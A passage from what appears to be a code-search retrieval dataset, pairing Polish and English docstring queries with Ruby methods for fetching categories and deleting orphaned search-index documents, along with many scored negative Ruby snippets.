"0.58370125",
"0.5832376",
"0.5831412",
"0.5823289",
"0.5822716",
"0.5822568",
"0.5822178",
"0.58195794",
"0.5808518",
"0.5808348",
"0.5805484",
"0.57995665"
] | 0.0 | -1 |
pobiera drzewo wszystkich categorii | def do_get_cats_data
message = {country_id: @client.country_code, webapi_key: @client.webapi_key}
@client.call(:do_get_cats_data, message: message)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def categoria_por_nivel\n if taxon.present? && params[:cat].present? && params[:nivel].present?\n # Aplica el query para los descendientes\n self.taxones = taxones.where(\"#{Especie.attribute_alias(:ancestry_ascendente_directo)} LIKE '%,#{taxon.id},%'\")\n\n # Se limita la busqueda al rango de categorias taxonomicas de acuerdo al nivel\n self.taxones = taxones.nivel_categoria(params[:nivel], params[:cat])\n end\n end",
"def ffck_categories_detailed()\n ['Pitchoun', 'Poussin 1', 'Poussin 2', 'Benjamin 1', 'Benjamin 2', 'Minime 1', 'Minime 2', 'Cadet 1', 'Cadet 2',\n 'Junior 1', 'Junior 2', 'Senior', 'Veteran 1', 'Veteran 2', 'Veteran 3', 'Veteran +', 'Inconnu']\n end",
"def select_category\n #Parbauda vai ekrans ir redzams\n @screens.screen_create_filter.visible?\n #Pievieno kategoriju no filtra datiem\n @screens.screen_create_filter.select_row(@filter_data.category)\n end",
"def category; end",
"def set_category\n end",
"def set_categorium\n @categorium = Categoria.find(params[:id])\n end",
"def categorized_list\n %w[artist copyright character meta general]\n end",
"def categorize(elt2category, unknown=nil)\n categories = Hash.new { |h,k| h[k] = [] }\n self.each do |elt|\n if elt2category.include? elt\n categories[elt2category[elt]] << elt \n elsif unknown\n categories[unknown] << elt\n end\n end\n categories\n end",
"def adv_categories\n return ['AIR', 'BIKING', 'CULTURAL', 'CAMPING', 'MOTOR', 'CLIMBING', 'HIKING', 'SNOW', 'WATER', 'OTHER']\n end",
"def categorize\n #sólo muestra los eventos de cierta categoría.\n #@events = Event.where([\"category_id = ?\", params[:id]]).all\n @events = Event.find_by_sql([\"SELECT e.*, c.name as category_name FROM events e, categories c WHERE c.id = ? AND e.category_id = c.id\", params[:id]])\n \n #se agregan las categorias para poder navegar a través de ellas.\n @categories = Category.all\n\n #se renderiza la misma vista del index para reutilización.\n render :index\n\n # respond_to do |format|\n # format.html # categorize.html.erb\n # format.json { render json: @events }\n #end\n end",
"def categories\n taxonomies.all :conditions => { :classification => :category }\n end",
"def midia_por_categoria(categoria)\n midias.select { |midia| midia.categoria == categoria } \n end",
"def categoria_nombre\n categoria.try(:categoria_nombre)\n end",
"def categories_by_taxonomy\n\n self.categories.inject({}) do |result, category|\n \n if result.has_key?(category.taxonomy.id.to_sym)\n result[category.taxonomy.id.to_sym] << category\n else\n result[category.taxonomy.id.to_sym] = [category]\n end\n \n result \n end \n\n end",
"def analyze\n @categories = Violation.unique_categories\n end",
"def set_categorium\n @categorium = Categorium.find(params[:id])\n end",
"def set_categorium\n @categorium = Categorium.find(params[:id])\n end",
"def categories\n category\n end",
"def categories\n @categories ||= wayfinder.decorated_vocabularies.sort_by(&:label)\n end",
"def type\n self.category\n end",
"def exibe_possibilidades(categoria)\n categoria.each_with_index {|value, index| puts \"#{index})#{value}\"}\n end",
"def categorical?\n value_type_code.in? %i[category multi_category]\nend",
"def categories_for(race)\n case race.name\n when \"Junior Men\", \"Junior Women\"\n [ Category.find_or_create_by(name: race.name) ]\n else\n super race\n end\n end",
"def getCategories()\n\t\tcat = Array.new\n\t\tcat.push(\"heroku\")\n\t\tcat.push(\"go\")\n\t\tcat.push(\"github\")\n\t\tcat.push(\"docker\")\n\t\tcat.push(\"css\")\n\t\tcat.push(\"apache\")\n\t\tcat.push(\"html\")\n\t\tcat.push(\"bootstrap\")\n\t\tcat.push(\"java ee\")\n\t\tcat.push(\"javafx\")\n\t\tcat.push(\"java\")\n\t\tcat.push(\"jquery\")\n\t\tcat.push(\"mips\")\n\t\tcat.push(\"c++\")\n\t\tcat.push(\"laravel\")\n\t\tcat.push(\"linux\")\n\t\tcat.push(\"opengl\")\n\t\tcat.push(\"sml\")\n\t\tcat.push(\"javascript\")\n\t\tcat.push(\"mongo db\")\n\t\tcat.push(\"c\")\n\t\tcat.push(\"yacc\")\n\t\tcat.push(\"circuit\")\n\t\tcat.push(\"php\")\n\t\tcat.push(\"mysql\")\n\t\tcat.push(\"node js\")\n\t\tcat.push(\"photoshop\")\n\t\tcat.push(\"rails\")\n\t\tcat.push(\"postgres\")\n\t\tcat.push(\"ruby\")\n\t\tcat.push(\"redis\")\n\t\tcat.push(\"mac osx\")\n\t\tcat.push(\"sass\")\n\t\tcat.push(\"ubuntu\")\n\t\tcat.push(\"bower\")\n\t\tcat.push(\"wordpress\")\n\t\tcat.push(\"css\")\n\t\tcat.push(\"hosted\")\n\t\tcat.push(\"python\")\n\t\tcat.push(\"maven\")\n\t\tcat.push(\"maven mojo\")\n\t\tcat.push(\"composer\")\n\t\tcat.push(\"mips\")\n\t\tcat.push(\"gulp\")\n\t\tcat.push(\"grunt\")\n\t\tcat.push(\"phpstorm\")\n\t\tcat.push(\"react\")\n\t\tcat.push(\"swift\")\n\t\tcat.push(\"wordpress\")\n\t\tcat.push(\"tomcat\")\n\t\tcat.push(\"redis\")\n\t\tcat.push(\"travis\")\n\t\treturn cat\n\tend",
"def set_categoria_ing\n @categoria_ing = CategoriaIng.find(params[:id])\n end",
"def all_categories\n end",
"def category\n @data['category']\n end",
"def set_categoria\n @categoria = Categoria.find(params[:id])\n end",
"def set_categoria\n @categoria = Categoria.find(params[:id])\n end",
"def set_categoria\n @categoria = Categoria.find(params[:id])\n end",
"def set_categoria\n @categoria = Categoria.find(params[:id])\n end",
"def set_categoria\n @categoria = Categoria.find(params[:id])\n end",
"def set_categor\n @categor = Categor.find(params[:id])\n end",
"def category\n\n User.find(@toko.user_id).produks.each do |produk|\n @cat = produk.category_id\n end\n end",
"def category\n adventure.category\n end",
"def category\n @ole.Category\n end",
"def categories\n []\n end",
"def get_categories(row)\n categories = []\n cat = at_in(:category1 , row) # should invent some loop here\n categories << cat if cat\n cat = at_in(:category2 , row) # but we only support\n categories << cat if cat\n cat = at_in(:category3 , row) # three levels, so there you go\n categories << cat if cat\n categories\n end",
"def chosen_categories\n return chosen_options.collect &:category\n end",
"def category16\n return @category16\n end",
"def tag_category_mapping\n @tag_category_mapping ||= {\n \"general\" => 0,\n \"gen\" => 0,\n\n \"artist\" => 1,\n \"art\" => 1,\n\n \"copyright\" => 3,\n \"copy\" => 3,\n \"co\" => 3,\n\n \"character\" => 4,\n \"char\" => 4,\n \"ch\" => 4\n }\n end",
"def set_categorias_produto\n #@categorias_produto = CategoriasProduto.find(params[:id])\n end",
"def categorize\n if params.has_key?(:category)\n @category = Category.find_by_name(params[:category])\n @product = Product.where(category: @category)\n else\n @product = Product.all\n end\nend",
"def category22\n return @category22\n end",
"def category(num=(0...round.categories.count).to_a.sample)\n round.categories[num]\n end",
"def category\n case self.scorable_type\n when \"GovernmentScore\"\n return \"Government\"\n when \"ParkScore\"\n return \"Parks\"\n when \"SchoolScore\"\n return \"Schools\"\n when \"PoliceScore\"\n return \"Police\"\n when \"PublicScore\"\n return \"Public Works\"\n end\n end",
"def categories\n raw_categories.to_hashugar\n end",
"def set_categoriaproduto\n @categoriaproduto = Categoriaproduto.find(params[:id])\n end",
"def category_types\n @category_types.each\n end",
"def ffck_categories()\n %w(Pitchoun Poussin Benjamin Minime Cadet Junior Senior Veteran Inconnu)\n end",
"def category\n data['category']\n end",
"def category18\n return @category18\n end",
"def categorical?\n value_type == \"Category\"\nend",
"def _categorizable(categorizable_type)\n has_many categorizable_type.name.demodulize.pluralize.downcase.to_sym, :through => :categories,\n :source => :categorized,\n :source_type => categorizable_type.name\n end",
"def main_categories\n categories.to_a[0..3]\n end",
"def categorization_id_for(category)\n self.categorizations.find_by_category_id(category.id).id\n end",
"def category\n @services = Service.where(\"category = ?\", params[:category])\n @category = Service.categories.key(params[:category].to_i)\n end",
"def category_names\n categories.map {|category| CategoryCode[category]}\n end",
"def categories\n rpg_shop.handled_categories\n end",
"def unit_other_category(u)\n # comment is actual code returned by the df function\n return :Berserk if u.mood == :Berserk # 5\n return :Berserk if unit_testflagcurse(u, :CRAZED) # 14\n return :Undead if unit_testflagcurse(u, :OPPOSED_TO_LIFE) # 1\n return :Undead if u.flags3.ghostly # 15\n\n if df.gamemode == :ADVENTURE\n return :Hostile if u.civ_id == -1 # 2\n if u.animal.population.region_x == -1\n return :Wild if u.flags2.roaming_wilderness_population_source_not_a_map_feature # 0\n else\n return :Hostile if u.flags2.important_historical_figure and n = unit_nemesis(u) and n.flags[:ACTIVE_ADVENTURER] # 2\n end\n return :Hostile if u.flags2.resident # 3\n return :Hostile # 4\n end\n\n return :Invader if u.flags1.active_invader or u.flags1.invader_origin # 6\n return :Friendly if u.flags1.forest or u.flags1.merchant or u.flags1.diplomat # 8\n return :Hostile if u.flags1.tame # 7\n\n if u.civ_id != -1\n return :Unsure if u.civ_id != df.ui.civ_id or u.flags1.resident or u.flags1.visitor or u.flags1.visitor_uninvited # 10\n return :Hostile # 7\n\n elsif u.animal.population.region_x == -1\n return :Friendly if u.flags2.visitor # 8\n return :Uninvited if u.flags2.visitor_uninvited # 12\n return :Underworld if r = u.race_tg and r.underground_layer_min == 5 # 9\n return :Resident if u.flags2.resident # 13\n return :Friendly # 8\n\n else\n return :Friendly if u.flags2.visitor # 8\n return :Underworld if r = u.race_tg and r.underground_layer_min == 5 # 9\n return :Wild if u.animal.population.feature_idx == -1 and u.animal.population.cave_id == -1 # 0\n return :Wild # 11\n end\n end",
"def category9\n return @category9\n end",
"def index\n @categoria_ings = CategoriaIng.all\n end",
"def category_names\n self.categories.map do |category|\n category.name\n end\n end",
"def asocia_cat_riesgo(especie)\n cat_riesgo = []\n \n especie.catalogos.each do |cat|\n if [2,4].include?(cat.nivel1) && !(Catalogo::EVALUACION + Catalogo::AMBIENTE_EQUIV_MARINO + [\"Riesgo bajo (LR): Dependiente de conservación (cd)\"]).include?(cat.descripcion)\n cat_riesgo << cat.descripcion.estandariza\n end\n end\n\n cat_riesgo.uniq\n end",
"def representative_categories\n @representative_categories ||= Fotolia::RepresentativeCategories.new(self)\n end",
"def category17\n return @category17\n end",
"def category_in_icon_name\n case category\n when 0\n \"icon_clean\"\n when 1\n \"icon_nanny\"\n when 2\n \"icon_time\"\n when 3\n \"icon_fix\"\n else\n \"icon_clean\"\n end\n end",
"def index\n @categoria = Categorium.order(\"categoria\")\n end",
"def category_enum\n Category.all.collect {|p| [ p.name, p.id ] }\n end",
"def category8\n return @category8\n end",
"def categories\n Hash[self.class.catalogs.map { |fld, klass|\n name = fld.gsub(/_id$/, '_name');\n [fld, {:id => self.send(fld), :name => self.send(name)}] rescue nil\n }.reject {|cat| cat.nil?}]\n end",
"def konversiMenit(menit) \n # =================================\n # Area Kode Kode di sini\n \n \n \n # =================================\n end",
"def create\n @categorium = Categorium.new(categorium_params)\n\n respond_to do |format|\n if @categorium.save\n format.html { redirect_to @categorium, notice: 'Categoría fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @categorium }\n else\n format.html { render :new }\n format.json { render json: @categorium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def category_name \n\tself.category.name \n end",
"def categories\n categories = []\n @deck.cards.map do |turn|\n categories << turn.category\n end\n categories.uniq!\n end",
"def category6\n return @category6\n end",
"def category12\n return @category12\n end",
"def getValue category\n case category\n when \"camera\"\n return 0\n when \"design\"\n return 1\n when \"perform\"\n return 2\n when \"general\"\n return 3\n when \"misc\"\n return 4\n end\nend",
"def label\n self.category.nil? ? nil : self.category.label\n end",
"def category\n # only returns first category currently\n if self.categories.empty?\n 1\n else\n self.categories[0] unless self.categories.empty?\n end\n end",
"def set_categorie_droit\n @categorie_droit = CategorieDroit.find(params[:id])\n end",
"def index\n @categors = Categor.all\n end",
"def index\n @bonificacions = Bonificacion.order(\"@bonificacions.categorium_id\")\n end",
"def category11\n return @category11\n end",
"def categories\n category_keys.collect(&:to_s)\n end",
"def related_tag_categories\n @related_tag_categories ||= {\n GENERAL => [GENERAL],\n ARTIST => [COPYRIGHT, CHARACTER, GENERAL],\n CHARACTER => [COPYRIGHT, CHARACTER, GENERAL],\n COPYRIGHT => [COPYRIGHT, CHARACTER, GENERAL],\n META => [META, GENERAL]\n }\n end",
"def category23\n return @category23\n end",
"def categories_list\n self.categories.collect{|c| c.name}\n end",
"def category21\n return @category21\n end",
"def show\n @limpeza = LogLimpeza.find(params[:id])\n @user_reporter = User.find_by_id(@limpeza.user_id)\n @categorias = Limpeza.select(:categoria).group(:categoria,:categoria_id).order(:categoria_id)\n end",
"def categories(str)\n raise NotImplementedError\n end",
"def categoria_params\n params.require(:categoria).permit(:nombre, :limInferior, :limSuperior)\n end",
"def category1\n return @category1\n end",
"def index\n @subcategoria = Subcategorium.all\n end",
"def clil_categories_codes\n self.clil_categories.map{|c| c.code}.uniq\n end",
"def get_category(category)\n CATEGORIES[category.downcase]\n end",
"def categorium_params\n params.require(:categorium).permit(:categoria)\n end",
"def category= arg\n cat_arr = arg.to_s.split(':')[0..@depth-1] || []\n @category = cat_arr.join(':').to_s\n end",
"def create\n @categoria = Categoria.new(categoria_params)\n\n if @categoria.save\n flash[:success] = 'Se inserto exitosamente la nueva categoría.'\n redirect_to categorias_path\n else\n render 'new'\n end\n end",
"def categorize_cell(cdscell, category)\r\n\r\n Category.where.not(name: category.name).each do |cat|\r\n #Only run if the cell is not tagged\r\n cdscell = category.cdscells.find_by(name: \"uncategorized\")\r\n if !cdscell\r\n user.tag(cdscell, :with => \"uncategorized\", :on => :categories)\r\n end\r\n end\r\n \r\n end",
"def check_categories!\n\n self.categories.map! do |category|\n if (not category.saved?) and loaded_category = Term.get(category.id)\n loaded_category\n else\n category\n end\n end\n\n end"
] | [
"0.6872777",
"0.64641714",
"0.6334617",
"0.6242679",
"0.619676",
"0.61784583",
"0.61493564",
"0.6146065",
"0.6132874",
"0.61182934",
"0.61137354",
"0.60494244",
"0.6044358",
"0.60419464",
"0.5992643",
"0.5986732",
"0.5986732",
"0.59436536",
"0.58999956",
"0.5884765",
"0.58627737",
"0.583984",
"0.5832972",
"0.5822833",
"0.5812934",
"0.5805334",
"0.5803478",
"0.5796322",
"0.5796322",
"0.5796322",
"0.5796322",
"0.5796322",
"0.5795311",
"0.579166",
"0.5784802",
"0.5780133",
"0.5773071",
"0.57720006",
"0.5767285",
"0.57345957",
"0.57160676",
"0.57085204",
"0.5707804",
"0.57037735",
"0.5696645",
"0.5688062",
"0.5682466",
"0.5675619",
"0.5661817",
"0.5660292",
"0.564777",
"0.56473243",
"0.5644097",
"0.5634883",
"0.5621504",
"0.5614166",
"0.5612947",
"0.56124383",
"0.5604242",
"0.56039876",
"0.55909723",
"0.5568017",
"0.55668354",
"0.55619866",
"0.55616367",
"0.55585515",
"0.5556431",
"0.5553216",
"0.5552846",
"0.5552094",
"0.5550037",
"0.55487204",
"0.554624",
"0.5542052",
"0.5541724",
"0.5541191",
"0.5531262",
"0.55247974",
"0.55204666",
"0.5517013",
"0.55140346",
"0.5512196",
"0.5509478",
"0.5507039",
"0.55049235",
"0.54994404",
"0.5490262",
"0.5474908",
"0.5474526",
"0.5470129",
"0.54690886",
"0.54629934",
"0.545398",
"0.54418844",
"0.54402417",
"0.5438429",
"0.54372555",
"0.54350185",
"0.5432523",
"0.54322904",
"0.5429857"
] | 0.0 | -1 |
Iterates through all of the model's indexed documents and deletes any for which no counterpart exists in the database. This is very expensive and ideally it should never have to be used. | def delete_orphaned_documents
class_ = name.constantize
# Get the document count.
relation = search
count = relation.count
progress = Progress.new(count)
index = 0
num_deleted = 0
relation.each_id_in_batches do |id|
unless class_.exists?(id: to_model_id(id))
class_.delete_document(id)
num_deleted += 1
end
index += 1
progress.report(index, "Deleting orphaned documents")
end
puts "\nDeleted #{num_deleted} documents"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete_from_index\n begin\n __elasticsearch__.delete_document\n rescue Elasticsearch::Transport::Transport::Errors::NotFound\n nil\n end\n\n index_dependent_models.map(&:update_in_index)\n end",
"def remove_indexes(models = ::Mongoid.models)\n models.each do |model|\n next if model.embedded?\n indexes = model.collection.indexes.map{ |doc| doc[\"name\"] }\n indexes.delete_one(\"_id_\")\n model.remove_indexes\n logger.info(\"MONGOID: Removing indexes on: #{model} for: #{indexes.join(', ')}.\")\n model\n end.compact\n end",
"def purge!\n Document.delete_all\n end",
"def clear_indices(*models)\n models.each do |model|\n begin\n Elasticsearch::Model.client.delete_by_query(\n index: model.index_name,\n q: '*',\n body: {}\n )\n rescue\n end\n end\n true\nend",
"def delete_all_indices!\n client = Elasticsearch::Model.client\n ActiveRecord::Base.descendants.each do |model|\n begin\n client.indices.delete(index: model.index_name) if model.__elasticsearch__.index_exists?\n rescue\n end\n end and true\nend",
"def clean_document!\n self.questions.destroy_all\n self.comments.destroy_all\n self.timeline_events().each{|event| event.destroy}\n self.document_items.each{|item| item.timeline_events.destroy_all}\n end",
"def clear!(db_as_well=true)\n Document.destroy_all if db_as_well\n close\n Dir.glob(File.join(Picolena::IndexSavePath,'**/*')).each{|f| FileUtils.rm(f) if File.file?(f)}\n end",
"def remove_all_documents\n\n all_clusters = @cluster_warehouse.all_clusters\n\n all_clusters.each do |cluster|\n cluster.remove_all_documents\n end\n\n @cluster_warehouse.clear_dangling_documnents \n end",
"def clear_docs\n result = @client[DOCUMENTS_COLLECTION].delete_many({})\n result.n\n ensure\n @last_result = result\n end",
"def delete_indexes\n self.class.indexes.each do |name, index|\n index.delete(self)\n end\n end",
"def remove_all_documents\n @documents.clear\n\n # setup frequencies\n @frequencies = DocVector.new(@frequencies.length, 0)\n\n # setup occurences\n @occurences = DocVector.new(@occurences.length, 0)\n end",
"def delete_all\n self.store.delete_keys(find_keys)\n end",
"def clear!\n docs = get(\"_all_docs\")['rows']\n post(\"_bulk_docs\", {\n :docs => docs.map { |doc| { '_id' => doc['id'], '_rev' => doc['value']['rev'], '_deleted' => true } }\n }) unless docs.empty?\n end",
"def delete force: false\n ensure_connection!\n docs_to_be_removed = documents view: \"ID_ONLY\"\n return if docs_to_be_removed.empty?\n unless force\n fail \"Unable to delete because documents exist. Use force option.\"\n end\n while docs_to_be_removed\n docs_to_be_removed.each { |d| remove d }\n if docs_to_be_removed.next?\n docs_to_be_removed = documents token: docs_to_be_removed.token,\n view: \"ID_ONLY\"\n else\n docs_to_be_removed = nil\n end\n end\n end",
"def remove_indexes\n with(consistency: :strong).collection.indexes.each do |spec|\n next if spec[\"name\"] == \"_id_\"\n collection.indexes.drop(spec[\"key\"])\n end and true\n end",
"def heal_associated_docs\n bad_keys = []\n @document.doc_refs do |key, value|\n if DocumentRepository.find key == nil\n bad_keys << key\n end\n end\n bad_keys.each do |key|\n @document.doc_refs.delete(key)\n end\n DocumentRepository.update @document\n end",
"def batch_clear(docs)\n pre_process_batch_remove(docs, :delete)\n unless docs.empty?\n collection.find(selector).update_one(\n positionally(selector, \"$unset\" => { path => true }),\n session: _session\n )\n # This solves the case in which a user sets, clears and resets an\n # embedded document. Previously, since the embedded document was\n # already marked not a \"new_record\", it wouldn't be persisted to\n # the second time. This change fixes that and allows it to be persisted.\n docs.each { |doc| doc.new_record = true }\n post_process_batch_remove(docs, :delete)\n end\n _unscoped.clear\n end",
"def clear_index!\n search_backend.clear_index!\n end",
"def delete_tank_indexes\n tanker_config.index.delete_document(it_doc_id)\n end",
"def clean_document_cache\n @document_cache_keys.each_key do |cache_key|\n document = get_document(cache_key)\n \n document.each do |index_field,index_values|\n if index_values.size > 0\n document[index_field] = index_values.uniq\n end\n\n # If we have multiple value entries in what should be a single valued \n # field, not the best solution, but just arbitrarily pick the first entry.\n if !@config[\"schema\"][\"fields\"][index_field.to_s][\"multi_valued\"] and index_values.size > 1\n new_array = []\n new_array.push(index_values[0])\n document[index_field] = new_array\n end\n end\n \n set_document( cache_key, document )\n end\n end",
"def delete_from_index\n SearchIndex.delete_record(self)\n end",
"def delete_from_index\n SearchIndex.delete_record(self)\n end",
"def destroy_all\n ids = self.all.map{|item| item.id}\n bulk_update do\n ids.each do |item|\n find(item).destroy\n end\n end\n # Note collection is not emptied, and next_id is not reset.\n end",
"def delete_all\n solr.delete_by_query('*:*')\n solr.commit\n end",
"def delete_ion_indices\n ion = self.class.ion\n ion.index_types.each { |i_type| i_type.del(self) }\n end",
"def destroy_all\n ids = self.all.map{|item| item.id}\n bulk_update do\n ids.each do |item|\n find_by_id(item).destroy\n end\n end\n # Note collection is not emptied, and next_id is not reset.\n end",
"def unindex(obj)\n XapianDb.database.delete_doc_with_unique_term(obj.xapian_id)\n XapianDb.database.commit\n end",
"def remove_indexes\n indexed_database_names.each do |database|\n with(database: database) do |klass|\n begin\n klass.collection.indexes(session: _session).each do |spec|\n unless spec[\"name\"] == \"_id_\"\n klass.collection.indexes(session: _session).drop_one(spec[\"key\"])\n logger.info(\n \"MONGOID: Removed index '#{spec[\"name\"]}' on collection \" +\n \"'#{klass.collection.name}' in database '#{database}'.\"\n )\n end\n end\n rescue Mongo::Error::OperationFailure; end\n end\n end and true\n end",
"def purge\n return nullify unless _association.destructive?\n\n after_remove_error = nil\n criteria.delete_all\n many = _target.clear do |doc|\n execute_callback :before_remove, doc\n unbind_one(doc)\n doc.destroyed = true\n begin\n execute_callback :after_remove, doc\n rescue StandardError => e\n after_remove_error = e\n end\n end\n\n raise after_remove_error if after_remove_error\n\n many\n end",
"def destroy_instance_docs!\n doc_list = instance_design_doc.view(:all)\n destroy_count = doc_list['total_rows']\n return destroy_count if destroy_count < 1\n \n docs = instance_database.get_bulk(doc_list['rows'].map {|rh| rh['id']})\n docs['rows'].each {|rh| instance_database.delete_doc(rh['doc'], false)}\n instance_database.bulk_delete\n\n destroy_count\n end",
"def destroy_instance_docs!\n doc_list = instance_design_doc.view(:all)\n destroy_count = doc_list['total_rows']\n return destroy_count if destroy_count < 1\n \n docs = instance_database.get_bulk(doc_list['rows'].map {|rh| rh['id']})\n docs['rows'].each {|rh| instance_database.delete_doc(rh['doc'], false)}\n instance_database.bulk_delete\n\n destroy_count\n end",
"def remove_from_indexes\n self.class.indexed_properties.each do |property|\n value = send(property.name)\n Index.new(property, value).delete self\n end\n end",
"def clear!\n @documents = {}\n @attributes = {}\n @lookup_map = nil\n @all_loaded = false\n @all = []\n end",
"def delete_all\n records.clear\n end",
"def delete_from_index\n case self.class.update_index_policy\n when :immediate_with_refresh\n self.class.delete_id_from_index(self.id, :refresh => true)\n # As of Oct 25 2010, :refresh => true is not working\n self.class.refresh_index()\n when :enqueue\n DistributedIndexing::RemoveDocuments.perform_async(self.class.to_s, [self.id.to_s])\n else\n self.class.delete_id_from_index(self.id)\n end\n end",
"def perform\n ThinkingSphinx::Connection.take do |client|\n indices.each do |index|\n client.update index, ['sphinx_deleted'], {@document_id => [1]}\n end\n end\n rescue Riddle::ConnectionError\n # If it fails here, so be it.\n ensure\n true\n end",
"def perform\n Search.where(created_at: Date.new..7.days.ago, user: nil)\n .find_in_batches(batch_size: 100) { |batch| batch.each(&:destroy) }\n end",
"def destroy_scribd_documents\n self.class.scribd_attributes.each do |attribute|\n document = scribd_document_for(self[\"#{attribute}_scribd_id\"])\n\n unless document.nil?\n if document.destroy\n logger.info \"[Scribd_fu] #{Time.now.rfc2822}: Removing Object #{id}##{attribute} successful\"\n else\n logger.info \"[Scribd_fu] #{Time.now.rfc2822}: Removing Object #{id}##{attribute} failed!\"\n end\n end\n end\n end",
"def reset_index_information\n @indexes = nil\n end",
"def deregister_all_indexes\n @indexes.clear\n $LUCENE_LOGGER.debug{\"Deregistered all index, #{@indexes.inspect}\"}\n end",
"def prune_index\n missing_files=index_time_dbm_file.reject{|filename,itime| File.exists?(filename) && Picolena::IndexedDirectories.any?{|dir,alias_path| filename.starts_with?(dir)}}\n missing_files.each{|filename, itime|\n index.writer.delete(:complete_path, filename)\n index_time_dbm_file.delete(filename)\n logger.debug \"Removed : #{filename}\"\n }\n index.optimize\n end",
"def prune_index\n# missing_files=index_time_dbm_file.reject{|filename,itime| File.exists?(filename) && Picolena::IndexedDirectories.any?{|dir,alias_path| filename.starts_with?(dir)}}\n# missing_files.each{|filename, itime|\n# index.writer.delete(:complete_path, filename)\n# index_time_dbm_file.delete(filename)\n# logger.debug \"Removed : #{filename}\"\n# }\n# index.optimize\n end",
"def cleanup\n @models.reverse_each(&:destroy_all)\n end",
"def delete_document_all_types client, s, types\n types.each do |type|\n uuid = get_uuid s\n if uuid\n Settings.instance.indexes[type].each do |key, index|\n begin\n client.delete_document index[:index], uuid\n rescue\n log.info \"Failed to delete document: #{uuid} in index: #{index[:index]}\"\n end\n end\n end\n end\nend",
"def clear; @docs[] = {} end",
"def delete_all\n Neo.db.execute_query(\"#{initial_match} OPTIONAL MATCH (n0)-[r]-() DELETE n0,r\")\n end",
"def removeIndexes(collection)\n collection.indexes.drop_all()\n end",
"def delete_all\n refresh_index!\n Elasticsearch::Persistence.client.delete_by_query(\n index: alias_name,\n conflicts: :proceed,\n body: { query: { match_all: {} } }\n )\n end",
"def delete_text_indexes(*fields)\n fields = self.class.text_indexes.keys if fields.empty?\n fields.each do |field|\n del_indexes = text_indexes_for(field)\n exec_pipelined_index_cmd(:srem, del_indexes)\n redis.del field_key(\"#{field}_indexes\")\n end\n end",
"def delete_index\n dataset.delete_index\n end",
"def index\n @documents = Document.all.delete_if { |document| cannot? :read, document }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @documents }\n format.xml { render xml: @documents }\n end\n end",
"def rebuild_pgindex!\n self.all.each { |model| model.rebuild_pgindex! }\n end",
"def reindex!\n find(:all).each { |r| r.update_index(true) }\n end",
"def delete_pose_index\n self.pose_words.clear if Pose.perform_search?\n end",
"def remove_indices component\n component.all_index_field.map(&:access_path).uniq.each(&:retract)\n component.all_member.each{|member| remove_indices member}\n end",
"def clear!\n @tracking.drop\n @user_data.drop\n create_indices\n end",
"def rebuild_index\n Teevee::Library::Media.all.destroy\n scan_for_changes(@app.root.path)\n end",
"def cleanup_old_docs(old_object_doc_array, collection_name)\n logger.debug \"Clean up old documents\"\n # iterate over each old doc\n old_object_doc_array.each do\n |old_object_doc|\n # Remove it from MongoDB by referencing '_id' key\n collection_by_name(collection_name).remove({\"_id\" => old_object_doc[\"_id\"]})\n end\n end",
"def property_index_destroy\n connection = self.class.connection\n foreign_key = index_foreign_key\n current_id = self.id\n schema.index_groups.each do |group_name, definitions|\n next if group_name =~ FIELD_INDEX_REGEXP\n if group_name.kind_of?(Class)\n group_name.delete_property_index(self)\n else\n connection.execute \"DELETE FROM #{index_table_name(group_name)} WHERE #{foreign_key} = #{current_id}\"\n end\n end\n end",
"def close\n File.delete(@index_file) if indexed?\n File.delete(@indexing) if indexing?\n end",
"def erase_all\n entities_to_erase = []\n for entity in Sketchup.active_model.entities\n entities_to_erase.push entity\n end\n\n for entity in entities_to_erase\n if entity.valid?\n entity.erase!\n end\n end\n end",
"def reset_index_and_mapping\n\n if Elastic::Rebound.client.index_exists?(@index_name)\n Elastic::Rebound.client.delete_mapping({:index => @index_name, :type => @object_name}) rescue nil\n Elastic::Rebound.client.delete_index @index_name rescue nil\n end\n\n\n end",
"def clear\n return self if empty?\n\n entities = @entities.dup\n inverse_metadata = metadata.inverse_metadata\n\n @entities.clear\n\n entities.each do |deleted|\n if inverse_metadata\n deleted.send(inverse_metadata.writer_name, nil)\n end # if\n end # each\n\n self\n end",
"def clear_db\n clear_urls + clear_docs\n end",
"def batch_remove(docs, method = :delete)\n # If the _id is nil, we cannot use $pull and delete by searching for\n # the id. Therefore we have to use pullAll with the documents'\n # attributes.\n removals = pre_process_batch_remove(docs, method)\n pulls, pull_alls = removals.partition { |o| !o[\"_id\"].nil? }\n\n if !_base.persisted?\n post_process_batch_remove(docs, method) unless docs.empty?\n return reindex\n end\n\n if !docs.empty?\n if !pulls.empty?\n collection.find(selector).update_one(\n positionally(selector, \"$pull\" => { path => { \"_id\" => { \"$in\" => pulls.pluck(\"_id\") } } }),\n session: _session\n )\n end\n if !pull_alls.empty?\n collection.find(selector).update_one(\n positionally(selector, \"$pullAll\" => { path => pull_alls }),\n session: _session\n )\n end\n post_process_batch_remove(docs, method)\n else\n collection.find(selector).update_one(\n positionally(selector, \"$set\" => { path => [] }),\n session: _session\n )\n end\n reindex\n end",
"def clear!(all=false)\n close\n to_remove=all ? Picolena::IndexesSavePath : Picolena::IndexSavePath\n Dir.glob(File.join(to_remove,'**/*')).each{|f| FileUtils.rm(f) if File.file?(f)}\n end",
"def delete_old_indices\n existing_indices = client.indices.get(index: '_all')\n\n @logger.debug(\"Existing indexes: #{existing_indices.keys}\")\n\n index_keys.each do |index|\n keys = existing_indices.keys.select { |k| k.include?(index.to_s) }.sort\n keys_by_date = keys.group_by { |k| key_age(k) }\n keys_to_delete = []\n\n # delete all indexes, keeping one from each day for the last few days\n keys_by_date.each do |age, key_list|\n key_list.pop if age <= MAX_INDEX_AGE\n keys_to_delete += key_list\n end\n\n unless keys_to_delete.empty?\n @logger.debug(\"Deleting indexes #{keys_to_delete.join(', ')}\")\n client.indices.delete index: keys_to_delete\n end\n end\n end",
"def destroy(bulk=false)\n caught = catch(:halt) do\n _run_destroy_callbacks do\n result = database.delete_doc(self, bulk)\n if result['ok']\n self.delete('_rev')\n self.delete('_id')\n end\n result['ok']\n end\n end\n end",
"def clean\n disable_referential_integrity do\n tables_cache.keys.reverse_each do |table|\n ActiveRecord::Base.connection.execute %(\n DELETE FROM #{table}\n )\n end\n end\n end",
